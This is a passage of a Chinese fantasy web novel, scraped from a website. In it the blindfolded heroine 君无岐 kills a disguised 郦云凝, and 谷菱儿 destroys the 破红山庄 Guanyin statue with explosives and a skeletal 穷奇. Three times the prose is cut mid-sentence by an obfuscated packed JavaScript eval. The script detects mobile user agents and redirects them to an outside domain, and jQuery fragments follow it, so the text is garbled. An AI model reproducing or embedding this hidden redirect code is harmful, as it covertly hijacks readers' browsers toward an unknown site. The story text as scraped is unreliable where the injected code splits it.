“什么话什么话!”岳又青不乐意了,“我偃门又不是没钱,还能缺衣服穿?还不是你不肯跟我回去!”
召南主动跳到一旁石头上疯狂甩水,漫天猫毛飞舞中还能抽空插句嘴,“你跟她说这些有什么用,她最穷的时候只有两个铜板都不肯给岳娘子写信求助……”
“两个铜板?”从生下来就不知道穷为何物的岳又青震撼得瞪大双眼,“你、你!都到这种地步了为何都不开口?你到底有没有把我们当成家人?”
君无岐顿觉头痛。
她心里已经把召南吊起来抽打了十八回,面上忙不迭去安慰岳又青,“没有没有,怎么可能呢,我只是觉得日子还能过罢了。况且我有手有脚还有点本事,总不能一直靠岳姨接济……”
召南轻飘飘补充,“是啊,吃了上顿没下顿,有点钱都是坑蒙拐骗摸来的。”
岳又青倒吸一口凉气。
君无岐真怕她厥过去,在心里又给猫上了一遍大刑,拼命往回找补,“没有那么严重!你看我也没瘦不是吗,这只猫也圆圆滚滚的,哪里有一点被苛待的样子!”
岳又青仔细看她的脸,终于喘回了点气,“这倒是。”
召南不服,还要再叽叽歪歪,被君无岐一把攥住嘴筒子,呜哩呜哩也不知道在说什么。她一手控制住猫,一手提着衣摆,试图转移话题,“咱们这是上哪来了?”
岳又青四处看看。
“呃,好像上那个水池里来了。”她道,“等等这不是重点,上次就被你忽悠过去,你先跟我说清楚,到底为什么不给我和我娘写信!”
君无岐头大如斗。
“我没有!”她见这一招不行当即换了策略,先发制人,“现在不是说这个的时候。你明明去找陆元和,怎么突然出现在这密室里?你知道听到那院子爆炸我们有多担心你吗?”
岳又青理亏,“我去找陆元和,可谁曾想还没到院门口就被迷晕了……那人着实可恶,卑鄙!召南本想变作小马驹带我逃走的,可他竟然在路上设了网套!一套套俩!”
君无岐听出了不对劲。
“这么说他早有准备?”她狐疑道,“可这里又不是他郦家,怎么能提前做好这么多布置?况且他又怎么知道你会往那里去?”
岳又青一悚。
“莫不是这人一直暗中窥探着我们?”她惊骇道,“我们做什么他都知道?这也太变态了吧!”
君无岐道,“他大抵是与某人做了些交易……”
召南终于把脑袋从她手中挣了出来,一见她表情,疑惑道,“有没有人在附近窥探你应当最清楚才是……等等,你不会彻底看不见了吧?”
岳又青一愣。
“什么?坏了?”她顿时顾不上旁的,急忙要来扒拉她眼睛,“当时我娘说这一双眼够用二十年的呀,怎么会这么快就坏了……你是不是拿它干别的了?”
“没有,没坏,还能用。”君无岐躲开她的手,“召南你不要在这里危言耸听……真的没事!”
“我不信,你给我看看!”岳又青急得直跺脚,迫不得已下只得放大招,“你不让我看我就告诉我娘了!我让她亲自来找你!”
君无岐满脸不情愿地停下。
“那倒是也犯不上……”她嘀咕着,任由岳又青摘下眼纱,露出那双非人眼瞳。只是如今灼灼金色褪去,只剩一片枯冷灰白,唯有瞳孔那里还有点金色,不细看也看不太出来。岳又青又气又急,大逆不道地在她胳膊上拍了一下。
“你……”
君无岐一句话头一个字音还没出完,就听岳又青狂风暴雨般的念叨倾盆落下,“我当初就不该劝我娘让你自己走,出门时还是好端端的人现在竟变成了这般,原来那个金色多好看啊,现在连颜色都没有了……你可知晓没有来信的日子我和我娘都多记挂你!生怕你吃不好睡不好,没有剑再受了欺负怎么办,我娘一开始连个囫囵觉都睡不着……”
听着她哭音都出来了,君无岐连忙安抚,“没事了没事了又青,待此间事了我就和你一块回怀兴,成不成?”
岳又青红着眼瞅她,“真的?”
“真的真的。”君无岐把眼纱捞回来重新带好,“况且现在也不是一点都看不见,还是能看到些光的。”
“姑且信你这一回。”岳又青哼道,“那个‘郦玉成’不知道是何人所扮,我必须要找出他来不可。”
召南纵身跳到一旁巨石上,举目远眺,使劲嗅闻。
“那人从这里走的,血腥味还很浓。”它说,“跟我来!”
岳又青拉着君无岐跟上它。
方向朝着……山上。
“这……这怎么看向像是去山庄深处的路?”岳又青惊疑不定,“召南,你确定你没走错?”
“你怀疑谁也不该怀疑我。”召南朝她呲牙,“跟着我走就是了!”
岳又青无法反驳,便带着君无岐,避开往来人员,一路向上。
山道旁曾经美丽的花海已经没了,短短几天时间显然也不够人再造一个。她们三个恰恰在陆元飞两人之后,只是在某一个路口岔向两边。陆元飞院落里还是那副七零八落狂风过境后的模样,和之前一比,越看越凄凉。
陆元飞把头转到一边,不愿再看。
樊修玉搀着他往深处走,手掌坚实有力,如同铁箍。他望着花海尽头那座紧急赶工搭建而成的小木屋,语气淡淡,“马上就到了,你确定休息一下便成了吗?”
陆元飞含混答应着,头深深垂下去。
“说起来。”樊修玉道,“这里的味道……好像有些奇怪。”
陆元飞咕哝着什么,只是那动静听起来很不清晰,甚至可以说,很不人类,反而更像是野兽。樊修玉好似一无所觉,仍然带着他一步一步往前走。随着他们的动作,陆元
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14999054|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
飞双脚变得越来越大,挣破靴子,化作两只兽爪,地上留下一排脚印,一串爪痕。
他霍然抬眼。
两只兽瞳狰狞如血。
樊修玉松开手。
“原来如此。”他叹道,“那死掉的几个弟子怕不是被鬼影所杀,而是被你吃了吧?”
陆元飞呼哧呼哧喘着气,一串涎水自唇边滴落,两根獠牙顶开上下颚,呲到外面,看起来格外恐怖。樊修玉挑眉打量着他,抬起衣袖。
一只爪子从上面掉下来,勾破一道裂口。
“传说西域摩尼教有秘法,可以使平庸之人变得天赋卓绝,只是代价颇大。”他说,“成功后被施术者会继承上古神兽血脉,自由变换人兽两身。只是我现在怎么看着,这人的一面,正慢慢消失呢?”
他后退一步,躲开陆元飞拍来的一掌。
“半月前丰城揭露一起惊天大案,案中有只怪鸟食人,短短数年间便吃掉了上百人,闻者莫不惊怪。”他拔剑出鞘,“那只迦楼罗,是你的过去,还是未来?”
“吼——”
穷奇的叫声响彻花海。
陆元飞再也克制不住,露出原身!
樊修玉仰起头,脸上没有表情,只有眼中似有哀悯之色。
“陆庄主死去那一夜,正堂前前后后有三个人来,可谁都没有想要救一救他。陆行辉是因为他想夺过破红山庄,抢走摩尼教那一条通天之路,因此在他胸口刺了一刀。谷菱儿因为心怀恨意,在他死后割下他的头颅,摆在水月观音之上。你呢?你又是为什么变成穷奇,抓伤了他?”
穷奇四足着地,猩红眼眸中已丝毫看不出人的影子。它张口咆哮,带着腥味的风席卷地面。残花草茎裹挟着泥沙一并抛向天空,遮蔽日光。
“你是因为……”
樊修玉纵身跃起,剑光铺天盖地。
“……你已不再是人类。”
鲜血飚飞,下雨般浇透地面。穷奇吃痛,哀嚎一声,又朝他奔来。
一片衣袖垂落,剑锋如落花,飘飘自它胸前滑过。
穷奇迈动几步,厚实皮毛被血浸透,泼出一道长弧,他竭力想要稳住身体,可本就受伤的身体终究还是没能抗住剧痛,轰然摔倒。
它歪着头,用力咳嗽,从喉咙里吐出一只锈迹斑斑的铃铛。
没有铃舌,也没有纹饰。
它咕噜噜滚到地上,被樊修玉俯身拾起。
“原来如此,”他松开手,铃铛跌落,崩裂成上百碎片,“是你……吃掉了许英的尸身。”
穷奇无力地喘着粗气。
“许英很关心你,至于到底是为什么,我们不得而知。”樊修玉垂眼看着他,“你也对他不错,甚至比初红更好……想必就是因为这个,他才恨上了许英吧?”
穷奇什么也说不出来,它还想站起来,但身体不允许,只能躺在地上,听樊修玉慢慢把话说完。
“他知道你吃掉了前面那几个人,鬼影之说又不是所有人都相信,因此故意在大庭广众之下搞出一个鬼影,作出觊觎许英之态,后来更是直接溺死了他,这一切,怎么能不称一句用心良苦?”
穷奇看不出还有没有人的意识,只有那双眼睛愈发暗淡,好似生机正在慢慢流失。樊修玉没有救他一把的意思,只是自顾自把话说完。
“要我说你们这山庄真是太有趣了。初红搞出来一个鬼影,陆行辉也搞出来一个。他众目睽睽之下让那鬼影捅他一刀,究竟是为了摆脱泥潭,还是预备坐山观虎斗,等谷菱儿把山庄搞的天翻地覆后再出面顺理成章接手?”
穷奇喉咙里发出风箱似的呼哧声。樊修玉爱惜地摸了摸腰上那把剑,叹息般道。
“谁叫你觊觎她呢?抱歉,只能请你去死了。”
剑锋如雪,径直没入它胸口!
穷奇双眼一睁,肺腑里挤出最后一点呻吟,最终归于无声。眸中猩红褪去,露出属于人的瞳仁,只是已无人在意。樊修玉拔出剑,甩掉血迹,收入鞘中。
“不过还是得谢你。”他对着尸体道,“若不是你,我还不知道她在这里呢。”
他抬头看向高处,正好能看见山峰上观音的小半个侧脸,柔润圆滑,悲天悯人。
“现在。”他喃喃,“我要去见她了。”
60. 观音颅(十九)
一刻钟前。
山庄高处。
这里能遥遥看到最高处的那座观音,身周漂浮数个夜行灯,白光焰焰,水声潺潺。地面用石板铺就,以白石作装饰,自高处俯瞰,就是幅巨大的太极八卦图,每天早晨全庄上下弟子都会在这里做早课。广场尽头竖着三块影壁,中央最大的那一块上是山庄庄规,“专勤诚毅”四个字。
只是现在日头已高,众人都不在,只有一道身影坐在影壁下,静静等着他人到来。
是“郦玉成”。
他看起来快要死了,脸色白得几乎透明,衣袍上都是血。只是他好像并不很在意,自顾自地从地上揪起几根草,又把他们都吹掉。
一根碎草飘啊飘,飘啊飘,飘到某人的靴子前。
“郦玉成”抬起头来一看,笑了。
“你来了。”他拉家常似的,“我快死了,你也要看不见了,谁也别说谁欺负谁。不过呢还得等等,有观众没到场,怎么能唱戏?”
君无岐安静地听他讲完。
“你千方百计地想让我杀你。”她有些不解,“这是为什么?”
“这不好吗?”“郦玉成”笑意盈盈,“你不是想杀他很久了吗?就算我不是真的,面对这张脸,你应该不会下不去手吧?”
君无岐沉默以对。
“哦,抱歉,我忘记了,你看不到。”“郦玉成”毫无愧疚之心地大笑,“无所谓,你知道我现在在扮演谁就行。”
他慢慢站起来。
“观众正在进场,我又怎能不为他们准备一场盛大演出!”他举起双手,“来吧,我们不死不休!”
匕首在阳光下闪烁着凛凛寒光。
君无岐缓缓抽出长锏。
细碎的嘈杂声从山道那边响起来,她恍然想起,这里是前往膳堂的必经之路,现在日头高升,正是用饭的时候。
他真的想被她杀死,在众目睽睽之下。
可究竟为何?
“嗖——!”
尖锐破空声乍然响起,如薄纸割过微风。君无岐只觉眉心空气骤然凝固,她抬手向上一抛,匕首锋刃重重擦过锏棱,爆出一串火花,撞得她噔噔噔后退数步,险些趔趄。
“郦玉成”人就在刀刃之后。
他信手一摘,匕首如听话的猫狗般打了个旋钻回袖中,而他人已经贴近君无岐,一腿狠狠撩向她侧腰!
很难想象一个半死之人还能有如此巨力,这一下和岩石滚落也没什么区别。君无岐虽然躲得够快,但还是不可避免地被劲风扫到,只觉侧肋剧痛,若是踹实了只怕要断两根骨头。
不远处传来说话声。
其他人正在往这边走!
君无岐不欲再打,但一个“停”字还没来得及出口,“郦玉成”已经双手反握匕首,朝她的面孔而来,一点寒芒闪烁,仿佛索命的毒蛇獠牙。她看不到他的动向,但只听破空声厉,千钧一发之际手臂已经下意识抬起,唰地横过长锏,架住“郦玉成”双肘,刀尖恰恰停在她眉前三寸。
“你……”君无岐咬着牙,“非得这样么?”
“郦玉成”垂眼看她。
“我们都是带着恨意而来的。”他轻声说,“只是我不得不如此。”
一丝淡淡的血腥味在君无岐鼻端前漫开。倘若她能看到,必然会发现“郦玉成”此时已经满口是血,他几乎是咬碎了牙才没一口喷出,唇缝充盈着猩红颜色。头顶日光灼灼,烘烤着地面和发丝,在某一个瞬间,她几乎以为自己在和鬼魂搏斗。
“喀!”
角力中,“郦玉成”正在缓缓下压。
那丝寒意好像能穿透君无岐的眼皮。
她向来不擅长力量战,立刻顺着劲侧向一旋,但“郦玉成”像是猜到了她要干什么,立刻跗骨之疽般紧跟过来,刃口顺势在她肩臂上一划,一弧鲜血喷薄而出,飞溅到影壁,恰恰落在一个“诚”字上。
滴答。
两个受了伤的人相对而站。
“郦玉成”很慢地张口,“你不杀我,死的就是你。”
不远处有人在说话。
“那好像是郦家家主!”
“另外那个是谁?我怎么觉得有点眼熟?”
“你傻了?那不就是当时打伤大少爷的那个?”
“那我们是不是得去帮帮郦家主?”
“别了吧,我觉得不是一般人能插手的……”
君无岐抿起唇。
不知道是否因为晒得太久,她感觉到微微的晕眩,手指紧紧握着锏柄,关节凸起,用力到发白。
肩上那道伤火烧似的疼。
“郦玉成”下了死手。
手中长锏毕竟不如长剑轻灵,挥舞起来时总有种说不出的迟滞笨重。但时事如此,她也只能活动一下左肩,抬起手腕,锏尖向前,直指“郦玉成”。
他歪着头看她。
“你果然右手有问题。”他了然道,“那道伤疤还在吗?晚上的时候,会不会疼?”
君无岐唰地抬头。
“你知道?”她声音冷得像冰,“你到底是谁?”
“郦玉成”却不发一语,朝她胸口直刺而来。君无岐腰身一拧,垫步侧移,衣袖还未垂下,锏身已然劈落,“喀”一下精准砸在“郦玉成”手腕上。
咔嚓!
锏身何其沉重,这一下又丝毫没收力,“郦玉成”左手腕骨顿时诡异地弯折下去。但他好像丝毫察觉不到痛似的,唇角微微一弯。
“我当然知道。”他轻轻道,“因为就是我,取走了你那段骨头。”
君无岐一愣,刹那间鲜血狂涌,脸侧烧起霞似的红,而就在这难得的恍惚瞬间,“郦玉成”匕首脱手,激射而出!
在那一个刹那间,旁边人甚至都没看到究竟发生了什么。只见飞溅而出的血扑满影壁,深色石砖地上骤然变得滑腻,白石猩红。君无岐倒退一步,肌肉痉挛,只觉喉中一片腥甜。
“无岐姐姐!”
“无岐!”
旁观的岳又青和召南忍不住喊出声来。
她抬起手,掌心朝外,做了个制止的动作。
“当啷”一声,匕首落地。
她胸前衣裳已经尽数被血浸湿。
“郦玉成”手腕软软垂下,像一截破布。他握着剩下那柄匕首,看都没看自己的手,笑着问她。
“你还不想杀我吗?”
君无岐喉间轻动。
她嘴唇翕动几下,默念几遍祝由术,出血渐渐停了。
但疼痛仍在。“郦玉成”很感兴趣地看着她动作,转了一下完好的那只手腕。匕首刃锋雪亮,耀得人眼生疼。
“我知道你有很多疑问。”他耳语般道,“我可以解答。但首先,你得拿出全力来。”
“铛!铛铛铛铛!”
烈日骄阳之下,兵戈交战声越来越快,擦出的火花向四面八方飞溅。广场边围观的人越来越多,其中不乏来做客的江湖人士,阮清波也在其中。他盯着那蒙住眼的白衣人,神情惊疑不定,越看越觉得心惊。
“这……”他喃喃,“怎么越看越眼熟?”
他缓缓倒退出人群。
没有人注意他。他隔着涌动的人影远远看着场中,越发肯定自己的猜测。
“可她不应该已经死了吗……”
而此时两人的战斗已经到了白热化阶段。“郦玉成”是个用匕首的好手,即使一条手臂已废仍能玩出花来。他根本就是同归于尽的打法,冲刺,一击即离,再尽全力冲刺,如此往复,犹如不断撞击灯罩的飞蛾,身形快得肉眼看不清。君无岐只能凭借成千上万次战斗锻炼出来的本能抵挡,但兵器着实不顺手,两人堪堪能算打平。
烈日炎炎,空荡荡的场地上除了金铁之声再无其他动静,只有寥寥几人似在担忧是否要拦住他们,可无人敢上前。岳又青抱着召南,死死拽着它两条腿,小声道,“别去!”
“可……”召南焦躁不安地用力抬头,“她需要帮忙!”
“用不着我们!”岳又青眼睛里带着一层薄薄泪光,动作却
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15011650|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
十分坚决,“待好!”
场中胜负还未分出。
“郦玉成”剧烈地喘着气,鲜血滴滴答答甩到地面上。两人身上都是血。君无岐一锏格开匕首,忽然将腰一转,奔向那块染血的影壁。
“郦玉成”神色骤然阴沉,“你要逃?”
他立刻紧跟而上。
电光石火间,君无岐已经到了影壁边缘。“郦玉成”紧随其后,轻身提气,正要出手将她掼下来,可她并没有像“郦玉成”想象中翻过影壁,而是纵身飞跃,如同没有重量般径直上了墙,回身反扑!
锏身划过影壁,剁出一大片碎石!
扑了“郦玉成”满脸灰。
但此时他无暇再关注这些细节,小石子暴雨般砸在他身上,令他下意识闭了下眼。而就在这眨眼即逝的功夫,碎石之后,锏尖正如黑蛇般咬来!
君无岐神情坚冷如玉,面无表情。
“咚!”
锏棱带着呼啸风声砸在“郦玉成”双膝上,他猝不及防,直接翻倒在地,沉闷而令人牙酸的咔嚓声响,想来是髌骨已然尽碎。他咳嗽两下,胸腔震动,一口血终究是没忍住,喷在地上。
他直直盯着君无岐,眼中说不出是欢喜还是悲伤,两片没有血色的嘴唇无力张合,挤出一点几不可闻的声音。
“就是……这样……”
人群有轻微的骚动。
君无岐一步一步向他走来。
锏身犹在滴血,黑得发亮。
“你不是郦玉成,你是谁?”她把锏压在他断裂的那根肋骨上,“你都知道什么,告诉我!”
“郦玉成”无声大笑。
“很好……很好……”他视野开始模糊,无尽的光晕尽头是白衣人的面孔,令他想起一个人。岳又青见战斗结束,急忙抱着猫跑来,在“郦玉成”身边蹲下。
“命线……”她语气颤抖,“有人对你用过生塑,是谁?”
“郦玉成”充耳不闻。
他只是看着君无岐,又好像透过她看到了某个更为温暖柔和的过去,甚至眼神都开始虚焦。君无岐需要弯下腰凑到他唇边,才能听到他断断续续在说话。
“对不起……娘……”
她一愣。
“我叫……郦云凝……”“郦玉成”说,“当年……对不起……我得保住……我娘……”
他抬起一只手,松松挂在她衣角上,“他在……天南……”
最后一个字气若游丝,君无岐必须要很用力才听得到他在说什么,即使如此也不能肯定到底是“南”还是“蓝”。郦云凝气力已经耗尽,手指颓然垂下,再无声息。
岳又青抬脸看了君无岐一眼。
她从未在她脸上见到过那样的表情。
浓重无力、好像化不开一般的悲哀,沉沉压在她唇角上,以至于平素都带笑的面孔如今看来竟遥远似在天外。她小声问道,“无岐姐姐,怎么办?”
君无岐回过神来。
“她死了。”
她的语气很淡,表情也看不出什么。召南跑过去,三两下跃上她肩头,用毛茸茸的尾巴缠住肩膀。
“你身上一股血味。”它有点嫌弃地抽动鼻子,“不过算了。”
旁边的围观人群这才敢慢慢围上来。
“那真是郦家家主?”
“可就这么死了吗?”
“这……是不是该通知郦家?陆家呢?陆家人呢?”
所有人环顾四周,悚然发现陆家竟然无一人在场,连个能临时主持大局的都没有!
“这可怎么办?”
“他们都跑哪里去了,出了这么大事都不来看一看吗?”
议论纷纷中,忽然地面一震。
巨响在高处响起,钟鸣声震天撼地,仿佛某种不详的预兆。地面晃动地越发剧烈,甚至令人站立不住。好在只维持了很短一段时间,片刻后便停止了。有人无意间抬头,震惊地瞪大双眼。
“你们看!”他指着高处。
“那是什么!?”
61. 观音颅(二十)
破红山庄这几天着实不太安宁。
物理意义上的。
这里炸了那里炸,不是地动就是山摇,只怕再过几天,整座山都要被整塌掉……还好目前纵观整个江湖,还没有哪样神器能做到这一步。
众弟子都很崩溃。
“哪里又炸了啊?”
“听起来动静不小,坏了,不会是钟楼那里?”
“是钟楼,是!你看,有火!”
破红山庄最高处有一座钟楼。
三丈高的观音背靠山壁,慈目低垂,掌上玉瓶流出一道细细水流,在莲花座下汪出水潭,潭中有荷,一直铺展到数丈之外,钟楼就在那里。楼顶上悬着一口大钟,每日报时辰时就会敲响。然而此时池水翻涌,高楼攲斜,火焰自底部升起,那口钟摇摇晃晃,摆出隆隆巨响。有人站在钟楼下,仰头看着它。
“这里早就该塌了,不是吗?”
那是陆元和。
从他背后的树影之下,一个人慢慢走出来。
飞天髻,神仙结,广袖流仙裙,裙摆飘摇欲飞,好似画中人。
“我一直觉得好像顺利得过分,原来除去郦家主,还有二少爷在帮我。”谷菱儿掩口轻笑,“怎么,你也厌恶自己家吗?”
陆元和轻飘飘看她一眼。
“谁会喜欢这种地方。”他皮笑肉不笑道,“当家的是个无心无情的冷血怪物,其余人等疯的疯烂的烂,唯一一个正常的还被逼远走他乡……换做是你,你呆的下去?”
“二少爷真是性情中人。”谷菱儿说,“就是不知道,看到整个山庄被夷为平地之后,是否还能保持这种心态?”
陆元和眯起眼。
“你与我破红山庄有什么深仇大恨,到了这种地步?”他面色不虞,“若是因为兄长,大可不必如此……”
“哈哈哈哈哈哈哈哈哈哈!”
谷菱儿拊掌大笑。
“刚才我还道二少爷乃性情中人,如今看来不过如此。说什么一家人疯的疯烂的烂,一塘子烂泥里能长出什么好鸟来?你也是其中一员罢了!”
“你!”陆元和大怒,“疯言疯语!难道我山庄还短你吃喝了不成?”
谷菱儿却只是怜悯地看着他。
“你也就知道吃喝。”她轻叹,“即使我告诉你原因,你也不会理解的。”
陆元和正想再和她辩一辩,忽听山道下传来嘈杂声响,大抵是众人被声响吸引,纷纷聚了来。她便不再开口,捞起裙摆,慢慢向前走去。
“古今争传女状头,谁说红颜不封侯。游家女共青山醉,曾有威名振九州……”
她的衣带拂过,留下一点淡淡的水腥味。
陆元和看到她手里的东西,又惊又怒,“你要干什么?”
他想伸手去抓她,但却只捞到一把空气。
谷菱儿明明走得并不快,身影却缥缥缈缈,恍然如仙妖。陆元和刚想拔腿去追,忽然听到一阵恐怖的轰隆巨响,一下一下,从山体深处传来。
他惊骇地瞪大眼睛。
那是头巨兽。
或者说,是头没有皮肉的巨兽。它足有三丈高,全身只剩骨架,洁白如雪,眼眶里燃烧着两团黑火。一对骨刺从脊背上延伸出来,伸向两边,末端尖锐如枪林。它明明没有发出任何叫声,陆元和却分明听到震耳欲聋的咆哮,某种战栗从脊背升起,刹那间遍布全身。
那是头……穷奇。
真正的穷奇。
他一时间站在原地动弹不得,直到看到它正一步步走向钟楼时骤然反应过来,惊怒道,“你要干什么,停下!”
但是穷奇不会听。
它像只找到玩具的大猫一样,用前爪拨了下钟楼,高楼毫无反抗之力地轰然倒塌,大钟从中间滚落,震响几乎要轰破人的耳膜。陆元和愕然之下抽出符纸,可平日里无所不摧的五雷符此时也只像个鞭炮,没有任何作用。
陆元和额头上见了汗。
“有发上冲冠,有泪悬河流。安得倚天剑,为君斩旄头!”谷菱儿放声大笑,在颈后一抹,丝弦崩断几根,渐渐显出原本相貌,“陆松和,你当日做下欺师灭祖之事,可有想过有朝一日她的后人会再来复仇?”
陆元和震悚地盯着她。
他从未将她放在眼里过,就像大象不会看得起蚂蚁,羚羊不会看得起草丛,他天生比她高一头……无论是因为出身,还是因为能力,她只是个能让他兄长暂时放松的工具罢了。
但……蚂蚁有朝一日也会将象群啃噬殆尽。
那头穷奇来到谷菱儿身边,温驯垂头。
谷菱儿轻巧地跃上穷奇颅骨,白骨巨兽抬起头,骨节摩擦得喀拉喀拉响,像个升降机一样,慢慢把她送到与观音头顶平齐。
她站在群山之巅。
中天日光烈烈,照彻山林万丈,远山蓊郁翠笼,犹如沧海。一只鹰正从山中飞出来,洒下一串嘹亮啼叫。更远处的密林里,她知道那里的土地之下,埋葬着某个灵魂。
一滴眼泪从她的眼角慢慢滴落下去。
“开国时有位大术师,观风云,搅万象,座下驱使灵兽仙精数万,帮太祖定国运,奠太平。”她轻轻说,“她叫什么名字?她叫游山醉。”
她蓦然垂眸,直直看向陆元和。
“你知道吗?”
陆元和不明白她为什么突然提起游山醉,只是很紧张地注视着白骨穷奇,生怕这家伙突然发疯,还好它只是站在那。
谷菱儿眼睛里没有任何情绪。
“她的坟墓就在山下,可没有任何人知道。”她说,“这是为什么?是世人遗忘了她,还是你们在抹去她的痕迹?”
陆元和不知该如何回答。
四周火逐渐烧起来,映得天地八方一片通红,谷菱儿垂首,露出掌心。
那是一把炸弹。
“甚么观音。”她轻声道,“都是自以为是的投影罢了。”
火药落下。
这东西虽然体积小,发出的声音却惊天动地,那矗立足有百年的观音坐像刹那间遍布裂纹,密密麻麻从莲台一直蔓延到双眼,随即惊雷般的巨响炸开,偌大一座石像顷刻间土崩瓦解。
巨大的头颅轰然滚落,就像她之前在陵墓中毁掉的那两尊塑像。自从知晓游山醉死后遭遇的一切后她再也不能直视观音,就连琉璃壁后的那一座也看不得。
那是一个男人自以为是的爱。是……耻辱。
砂砾和尘土滚滚俱下,腾开的烟尘足有数丈之高,呛得人不住咳嗽。谷菱儿瞬间眼睛红了,但仍然执着地睁着眼,直到那座观音轰然倒下,崩裂成满地碎片。
“真是太好了!”她大笑,“就是这样!”
好像是个什么暗号,与此同时破红山庄的各处都爆发出震耳欲聋的倒塌声。陆元和仓皇回头,往来逃命的弟子和客人们正惶惶奔走,想必自此之后,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15016646|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
破红山庄再也不要想继续在江湖上混了。
“你究竟要干什么?!我破红山庄哪里得罪了你?”他歇斯底里怒吼,“要这么不留余地!”
谷菱儿眼眸向下一低。
“当然没有得罪过我。”她微笑着说,“我只是打抱不平而已。”
他不知道这女人究竟埋了多少东西,此起彼伏的爆炸和坍塌声不断传出,好像整个天地都在倒下。穷奇的白骨骨架似乎有些焦躁,站在一旁不断甩头,骨翅刮过山壁,簌簌擦下粉尘。岳又青扶着君无岐,远远看到这一幕,几乎要合不拢嘴。
“果然是她,谷菱儿!”她恨恨道,“她想毁了这里!”
君无岐有气无力,“管她想干什么……你能把我推高点吗?”
“哦哦哦。”岳又青急忙把她抬起来,“你的伤怎么样?还能不能撑?”
“我可以。”君无岐坚强地抬起脑袋,“你看到刀半梦了没有?这边太乱了,我们得快点走……”
岳又青左看右看,神情惊恐,“我觉得我们一时半会儿应该走不了,这山路都被封死了呀……”
到处不是崩裂的碎石就是烧起来的火,地面震动不停,远处还有巨兽的骨架在虎视眈眈,怎么看都不像是能安全离开的样子。她眼尖瞥到正有一个似曾相识的身影往这边走,急忙扶着君无岐调转了个方向。
“这边吧,我们从这边走。”她急急忙忙道,“那边地上裂开了,小心些。”
“哦。”君无岐毫无异议地顺着她动作向前,两人如鱼入水般融进人群中。岳又青正松了口气,忽然听到远处传来一声尖啸。
“是你!”
是谷菱儿。
她此时的容貌已经与之前大不相同,岳又青还是凭借衣装才勉强认出了她。她神色复杂,说不出是恨还是别的什么,对身边的穷奇骨架下令,“去,杀了她!”
岳又青大惊。
君无岐虽然没明白到底发生了什么,但已经下意识地做出了防御动作,长锏铿然伸长,支在地上,“是谁?”
“谷菱儿,墓中那个人!”
岳又青又气又急,“怎生好端端地盯上了你……那家伙过来了!”
她指的是那只穷奇。
其实用不着她提醒君无岐也已经察觉到,毕竟这家伙那体型不是白长的,每走一步都像是山岳摇撼。她一把把岳又青护在身后,低声道,“你且先躲一躲,去找刀半梦!”
“可……”岳又青担心她眼睛,可理智上又知道自己在这只能碍事,狠狠在地上一跺脚,抱起召南,“我们走!”
召南挣扎出她臂弯,“无岐!”
“走!离开这!”君无岐头都没回,“没关系,我能行!”
尚未干涸的血从她衣摆滴落。
召南扒着岳又青手臂,却是不再动了,任由她把自己抱走,只是眼睛还一转不转地看着她。人群正在四散,慌乱中每个人都找不到方向,就连逃生都变成了一种奢侈,她们正在缓缓远离那里。召南忽然觉得慌乱,它用力挣开岳又青,跑进人流中。
“召南!”岳又青一惊,可人实在太多,一转眼她就看不到召南了。她咬咬牙,还是转身,去找刀半梦。
“只要我够快……”她低喃,“都还来得及,来得及……”
君无岐独自面对着白骨穷奇。
“来吧。”她低声说。
“让我看看你有几分能耐。”
62. 观音颅(廿一)
一个瞎子应该如何对抗一头巨兽?
君无岐不知道。
她的身影在巨兽面前,犹如一粒石子。
谷菱儿居高临下地望着她,像怜悯,像哀悼。九天之上一轮炎日正在向西方缓缓移动,今天就要过去了。君无岐战斗了太多,体力耗尽,她不会胜利的。
谷菱儿看着她,像是在看着自己伏低做小的那段日子。
不知为何,她忽然起了点谈兴。
“你知道吗,在国师墓里我没有骗你。”她说,“我确实出身一户农家,只是并没有那么普通而已。”
君无岐侧身避过穷奇骨翅挥下的一击,抽空回答。
“你是徐敬溪后人?”
谷菱儿一愣。
“你猜出来了?”她倒不是太意外的样子,“确实,我是徐敬溪后人,虽然不知道她会不会承认。”
君无岐抬手,骨刺在黑锏上擦出火光,她辗转腾挪间动作越来越慢,每个躲避都极尽精妙,最大程度节约体力。而即便如此,她仍然在与谷菱儿对话。
“你家在小庄村?”
谷菱儿这下倒是真的惊讶了。
“你知道?我倒是小瞧了你……你是从何得知的?”
穷奇来得势大力沉,君无岐不得不分出精力来判断它的落点,可毕竟目不能视,总有误差,这一下擦过她的手臂,逼得她不得不举锏抵挡,“铛”一声脆响。
人群里有人忽的目光一凝。
“怪道徐婆婆能镇住玉藤,原来如此。”君无岐道,“徐婆婆已经去世,你不曾去看过她一眼么?”
谷菱儿身体一颤。
